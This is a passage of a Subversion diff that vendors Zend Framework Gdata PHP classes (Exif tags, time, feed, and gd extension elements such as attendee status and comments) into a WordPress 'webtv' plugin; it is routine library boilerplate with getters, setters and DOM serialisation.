+require_once 'Zend/Gdata/Exif/Extension/Iso.php';
+
+/**
+ * @see Zend_Gdata_Exif_Extension_Make
+ */
+require_once 'Zend/Gdata/Exif/Extension/Make.php';
+
+/**
+ * @see Zend_Gdata_Exif_Extension_Model
+ */
+require_once 'Zend/Gdata/Exif/Extension/Model.php';
+
+/**
+ * @see Zend_Gdata_Exif_Extension_Time
+ */
+require_once 'Zend/Gdata/Exif/Extension/Time.php';
+
+/**
+ * Represents the exif:tags element used by the Gdata Exif extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Exif_Extension_Tags extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'exif';
+    protected $_rootElement = 'tags';
+
+    /**
+     * exif:distance value
+     *
+     * @var Zend_Gdata_Exif_Extension_Distance
+     */
+    protected $_distance = null;
+
+    /**
+     * exif:exposure value
+     *
+     * @var Zend_Gdata_Exif_Extension_Exposure
+     */
+    protected $_exposure = null;
+
+    /**
+     * exif:flash value
+     *
+     * @var Zend_Gdata_Exif_Extension_Flash
+     */
+    protected $_flash = null;
+
+    /**
+     * exif:focalLength value
+     *
+     * @var Zend_Gdata_Exif_Extension_FocalLength
+     */
+    protected $_focalLength = null;
+
+    /**
+     * exif:fStop value
+     *
+     * @var Zend_Gdata_Exif_Extension_FStop
+     */
+    protected $_fStop = null;
+
+    /**
+     * exif:imageUniqueID value
+     *
+     * @var Zend_Gdata_Exif_Extension_ImageUniqueId
+     */
+    protected $_imageUniqueId = null;
+
+    /**
+     * exif:iso value
+     *
+     * @var Zend_Gdata_Exif_Extension_Iso
+     */
+    protected $_iso = null;
+
+    /**
+     * exif:make value
+     *
+     * @var Zend_Gdata_Exif_Extension_Make
+     */
+    protected $_make = null;
+
+    /**
+     * exif:model value
+     *
+     * @var Zend_Gdata_Exif_Extension_Model
+     */
+    protected $_model = null;
+
+    /**
+     * exif:time value
+     *
+     * @var Zend_Gdata_Exif_Extension_Time
+     */
+    protected $_time = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Exif_Extension_Tags object.
+     *
+     * @param Zend_Gdata_Exif_Extension_Distance $distance (optional) The exif:distance
+     *          value to be set in the constructed object.
+     * @param Zend_Gdata_Exif_Extension_Exposure $exposure (optional) The exif:exposure
+     *          value to be set in the constructed object.
+     * @param Zend_Gdata_Exif_Extension_Flash $flash (optional) The exif:flash
+     *          value to be set in the constructed object.
+     * @param Zend_Gdata_Exif_Extension_FocalLength$focalLength (optional) The exif:focallength
+     *          value to be set in the constructed object.
+     * @param Zend_Gdata_Exif_Extension_FStop $fStop (optional) The exif:fstop
+     *          value to be set in the constructed object.
+     * @param Zend_Gdata_Exif_Extension_ImageUniqueId $imageUniqueId (optional) The exif:imageUniqueID
+     *          value to be set in the constructed object.
+     * @param Zend_Gdata_Exif_Extension_Iso $iso (optional) The exif:iso
+     *          value to be set in the constructed object.
+     * @param Zend_Gdata_Exif_Extension_Make $make (optional) The exif:make
+     *          value to be set in the constructed object.
+     * @param Zend_Gdata_Exif_Extension_Model $model (optional) The exif:model
+     *          value to be set in the constructed object.
+     * @param Zend_Gdata_Exif_Extension_Time $time (optional) The exif:time
+     *          value to be set in the constructed object.
+     */
+    public function __construct($distance = null, $exposure = null,
+            $flash = null, $focalLength = null, $fStop = null,
+            $imageUniqueId = null, $iso = null, $make = null,
+            $model = null, $time = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Exif::$namespaces);
+        parent::__construct();
+        $this->setDistance($distance);
+        $this->setExposure($exposure);
+        $this->setFlash($flash);
+        $this->setFocalLength($focalLength);
+        $this->setFStop($fStop);
+        $this->setImageUniqueId($imageUniqueId);
+        $this->setIso($iso);
+        $this->setMake($make);
+        $this->setModel($model);
+        $this->setTime($time);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_distance !== null) {
+            $element->appendChild($this->_distance->getDOM($element->ownerDocument));
+        }
+        if ($this->_exposure !== null) {
+            $element->appendChild($this->_exposure->getDOM($element->ownerDocument));
+        }
+        if ($this->_flash !== null) {
+            $element->appendChild($this->_flash->getDOM($element->ownerDocument));
+        }
+        if ($this->_focalLength !== null) {
+            $element->appendChild($this->_focalLength->getDOM($element->ownerDocument));
+        }
+        if ($this->_fStop !== null) {
+            $element->appendChild($this->_fStop->getDOM($element->ownerDocument));
+        }
+        if ($this->_imageUniqueId !== null) {
+            $element->appendChild($this->_imageUniqueId->getDOM($element->ownerDocument));
+        }
+        if ($this->_iso !== null) {
+            $element->appendChild($this->_iso->getDOM($element->ownerDocument));
+        }
+        if ($this->_make !== null) {
+            $element->appendChild($this->_make->getDOM($element->ownerDocument));
+        }
+        if ($this->_model !== null) {
+            $element->appendChild($this->_model->getDOM($element->ownerDocument));
+        }
+        if ($this->_time !== null) {
+            $element->appendChild($this->_time->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('exif') . ':' . 'distance';
+                $distance = new Zend_Gdata_Exif_Extension_Distance();
+                $distance->transferFromDOM($child);
+                $this->_distance = $distance;
+                break;
+            case $this->lookupNamespace('exif') . ':' . 'exposure';
+                $exposure = new Zend_Gdata_Exif_Extension_Exposure();
+                $exposure->transferFromDOM($child);
+                $this->_exposure = $exposure;
+                break;
+            case $this->lookupNamespace('exif') . ':' . 'flash';
+                $flash = new Zend_Gdata_Exif_Extension_Flash();
+                $flash->transferFromDOM($child);
+                $this->_flash = $flash;
+                break;
+            case $this->lookupNamespace('exif') . ':' . 'focallength';
+                $focalLength = new Zend_Gdata_Exif_Extension_FocalLength();
+                $focalLength->transferFromDOM($child);
+                $this->_focalLength = $focalLength;
+                break;
+            case $this->lookupNamespace('exif') . ':' . 'fstop';
+                $fStop = new Zend_Gdata_Exif_Extension_FStop();
+                $fStop->transferFromDOM($child);
+                $this->_fStop = $fStop;
+                break;
+            case $this->lookupNamespace('exif') . ':' . 'imageUniqueID';
+                $imageUniqueId = new Zend_Gdata_Exif_Extension_ImageUniqueId();
+                $imageUniqueId->transferFromDOM($child);
+                $this->_imageUniqueId = $imageUniqueId;
+                break;
+            case $this->lookupNamespace('exif') . ':' . 'iso';
+                $iso = new Zend_Gdata_Exif_Extension_Iso();
+                $iso->transferFromDOM($child);
+                $this->_iso = $iso;
+                break;
+            case $this->lookupNamespace('exif') . ':' . 'make';
+                $make = new Zend_Gdata_Exif_Extension_Make();
+                $make->transferFromDOM($child);
+                $this->_make = $make;
+                break;
+            case $this->lookupNamespace('exif') . ':' . 'model';
+                $model = new Zend_Gdata_Exif_Extension_Model();
+                $model->transferFromDOM($child);
+                $this->_model = $model;
+                break;
+            case $this->lookupNamespace('exif') . ':' . 'time';
+                $time = new Zend_Gdata_Exif_Extension_Time();
+                $time->transferFromDOM($child);
+                $this->_time = $time;
+                break;
+        }
+    }
+
+    /**
+     * Get the value for this element's distance attribute.
+     *
+     * @see setDistance
+     * @return Zend_Gdata_Exif_Extension_Distance The requested attribute.
+     */
+    public function getDistance()
+    {
+        return $this->_distance;
+    }
+
+    /**
+     * Set the value for this element's distance attribute.
+     *
+     * @param Zend_Gdata_Exif_Extension_Distance $value The desired value for this attribute.
+     * @return Zend_Gdata_Exif_Extension_Tags Provides a fluent interface
+     */
+    public function setDistance($value)
+    {
+        $this->_distance = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's exposure attribute.
+     *
+     * @see setExposure
+     * @return Zend_Gdata_Exif_Extension_Exposure The requested attribute.
+     */
+    public function getExposure()
+    {
+        return $this->_exposure;
+    }
+
+    /**
+     * Set the value for this element's exposure attribute.
+     *
+     * @param Zend_Gdata_Exif_Extension_Exposure $value The desired value for this attribute.
+     * @return Zend_Gdata_Exif_Extension_Tags Provides a fluent interface
+     */
+    public function setExposure($value)
+    {
+        $this->_exposure = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's flash attribute.
+     *
+     * @see setFlash
+     * @return Zend_Gdata_Exif_Extension_Flash The requested attribute.
+     */
+    public function getFlash()
+    {
+        return $this->_flash;
+    }
+
+    /**
+     * Set the value for this element's flash attribute.
+     *
+     * @param Zend_Gdata_Exif_Extension_Flash $value The desired value for this attribute.
+     * @return Zend_Gdata_Exif_Extension_Tags Provides a fluent interface
+     */
+    public function setFlash($value)
+    {
+        $this->_flash = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's name attribute.
+     *
+     * @see setFocalLength
+     * @return Zend_Gdata_Exif_Extension_FocalLength The requested attribute.
+     */
+    public function getFocalLength()
+    {
+        return $this->_focalLength;
+    }
+
+    /**
+     * Set the value for this element's focalLength attribute.
+     *
+     * @param Zend_Gdata_Exif_Extension_FocalLength $value The desired value for this attribute.
+     * @return Zend_Gdata_Exif_Extension_Tags Provides a fluent interface
+     */
+    public function setFocalLength($value)
+    {
+        $this->_focalLength = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's fStop attribute.
+     *
+     * @see setFStop
+     * @return Zend_Gdata_Exif_Extension_FStop The requested attribute.
+     */
+    public function getFStop()
+    {
+        return $this->_fStop;
+    }
+
+    /**
+     * Set the value for this element's fStop attribute.
+     *
+     * @param Zend_Gdata_Exif_Extension_FStop $value The desired value for this attribute.
+     * @return Zend_Gdata_Exif_Extension_Tags Provides a fluent interface
+     */
+    public function setFStop($value)
+    {
+        $this->_fStop = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's imageUniqueId attribute.
+     *
+     * @see setImageUniqueId
+     * @return Zend_Gdata_Exif_Extension_ImageUniqueId The requested attribute.
+     */
+    public function getImageUniqueId()
+    {
+        return $this->_imageUniqueId;
+    }
+
+    /**
+     * Set the value for this element's imageUniqueId attribute.
+     *
+     * @param Zend_Gdata_Exif_Extension_ImageUniqueId $value The desired value for this attribute.
+     * @return Zend_Gdata_Exif_Extension_Tags Provides a fluent interface
+     */
+    public function setImageUniqueId($value)
+    {
+        $this->_imageUniqueId = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's iso attribute.
+     *
+     * @see setIso
+     * @return Zend_Gdata_Exif_Extension_Iso The requested attribute.
+     */
+    public function getIso()
+    {
+        return $this->_iso;
+    }
+
+    /**
+     * Set the value for this element's iso attribute.
+     *
+     * @param Zend_Gdata_Exif_Extension_Iso $value The desired value for this attribute.
+     * @return Zend_Gdata_Exif_Extension_Tags Provides a fluent interface
+     */
+    public function setIso($value)
+    {
+        $this->_iso = $value;
+        return $this;
+    }
+    /**
+     * Get the value for this element's make attribute.
+     *
+     * @see setMake
+     * @return Zend_Gdata_Exif_Extension_Make The requested attribute.
+     */
+    public function getMake()
+    {
+        return $this->_make;
+    }
+
+    /**
+     * Set the value for this element's make attribute.
+     *
+     * @param Zend_Gdata_Exif_Extension_Make $value The desired value for this attribute.
+     * @return Zend_Gdata_Exif_Extension_Tags Provides a fluent interface
+     */
+    public function setMake($value)
+    {
+        $this->_make = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's model attribute.
+     *
+     * @see setModel
+     * @return Zend_Gdata_Exif_Extension_Model The requested attribute.
+     */
+    public function getModel()
+    {
+        return $this->_model;
+    }
+
+    /**
+     * Set the value for this element's model attribute.
+     *
+     * @param Zend_Gdata_Exif_Extension_Model $value The desired value for this attribute.
+     * @return Zend_Gdata_Exif_Extension_Tags Provides a fluent interface
+     */
+    public function setModel($value)
+    {
+        $this->_model = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's time attribute.
+     *
+     * @see setTime
+     * @return Zend_Gdata_Exif_Extension_Time The requested attribute.
+     */
+    public function getTime()
+    {
+        return $this->_time;
+    }
+
+    /**
+     * Set the value for this element's time attribute.
+     *
+     * @param Zend_Gdata_Exif_Extension_Time $value The desired value for this attribute.
+     * @return Zend_Gdata_Exif_Extension_Tags Provides a fluent interface
+     */
+    public function setTime($value)
+    {
+        $this->_time = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Time.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Time.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Extension/Time.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Exif
+ */
+require_once 'Zend/Gdata/Exif.php';
+
+/**
+ * Represents the exif:time element used by the Gdata Exif extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Exif_Extension_Time extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'exif';
+    protected $_rootElement = 'time';
+
+    /**
+     * Constructs a new Zend_Gdata_Exif_Extension_Time object.
+     *
+     * @param string $text (optional) The value to use for this element.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Exif::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Feed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Feed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Exif/Feed.php	(revision 44)
@@ -0,0 +1,69 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_eed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_Exif
+ */
+require_once 'Zend/Gdata/Exif.php';
+
+/**
+ * @see Zend_Gdata_Exif_Entry
+ */
+require_once 'Zend/Gdata/Exif/Entry.php';
+
+/**
+ * Feed for Gdata EXIF data entries.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Exif
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Exif_Feed extends Zend_Gdata_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Exif_Entry';
+
+    /**
+     * Create a new instance.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Exif::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension.php	(revision 44)
@@ -0,0 +1,57 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents a Gdata extension
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootNamespace = 'gd';
+
+    public function __construct()
+    {
+        /* NOTE: namespaces must be registered before calling parent */
+        $this->registerNamespace('gd',
+                'http://schemas.google.com/g/2005');
+        $this->registerNamespace('openSearch',
+                'http://a9.com/-/spec/opensearchrss/1.0/', 1, 0);
+        $this->registerNamespace('openSearch',
+                'http://a9.com/-/spec/opensearch/1.1/', 2, 0);
+        $this->registerNamespace('rss',
+                'http://blogs.law.harvard.edu/tech/rss');
+
+        parent::__construct();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/AttendeeStatus.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/AttendeeStatus.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/AttendeeStatus.php	(revision 44)
@@ -0,0 +1,122 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Data model class to represent an attendee's status (gd:attendeeStatus)
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_AttendeeStatus extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'attendeeStatus';
+    protected $_value = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Extension_AttendeeStatus object.
+     * @param string $value (optional) Visibility value as URI.
+     */
+    public function __construct($value = null)
+    {
+        parent::__construct();
+        $this->_value = $value;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_value !== null) {
+            $element->setAttribute('value', $this->_value);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'value':
+            $this->_value = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's Value attribute.
+     *
+     * @return string The requested attribute.
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    /**
+     * Set the value for this element's Value attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Visibility The element being modified.
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->getValue();
+    }
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/AttendeeType.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/AttendeeType.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/AttendeeType.php	(revision 44)
@@ -0,0 +1,122 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Data model class to represent an attendee's type (gd:attendeeType)
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_AttendeeType extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'attendeeType';
+    protected $_value = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Extension_AttendeeType object.
+     * @param string $value (optional) This entry's 'value' attribute.
+     */
+    public function __construct($value = null)
+    {
+        parent::__construct();
+        $this->_value = $value;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_value !== null) {
+            $element->setAttribute('value', $this->_value);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'value':
+            $this->_value = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's Value attribute.
+     *
+     * @return string The requested attribute.
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    /**
+     * Set the value for this element's Value attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Visibility The element being modified.
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->getValue();
+    }
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Comments.php	(revision 44)
@@ -0,0 +1,116 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Extension_FeedLink
+ */
+require_once 'Zend/Gdata/Extension/FeedLink.php';
+
+/**
+ * Represents the gd:comments element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_Comments extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'comments';
+    protected $_rel = null;
+    protected $_feedLink = null;
+
+    public function __construct($rel = null, $feedLink = null)
+    {
+        parent::__construct();
+        $this->_rel = $rel;
+        $this->_feedLink = $feedLink;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_rel !== null) {
+            $element->setAttribute('rel', $this->_rel);
+        }
+        if ($this->_feedLink !== null) {
+            $element->appendChild($this->_feedLink->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gd') . ':' . 'feedLink';
+                $feedLink = new Zend_Gdata_Extension_FeedLink();
+                $feedLink->transferFromDOM($child);
+                $this->_feedLink = $feedLink;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'rel':
+            $this->_rel = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    public function getRel()
+    {
+        return $this->_rel;
+    }
+
+    public function setRel($value)
+    {
+        $this->_rel = $value;
+        return $this;
+    }
+
+    public function getFeedLink()
+    {
+        return $this->_feedLink;
+    }
+
+    public function setFeedLink($value)
+    {
+        $this->_feedLink = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/EntryLink.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/EntryLink.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/EntryLink.php	(revision 44)
@@ -0,0 +1,166 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
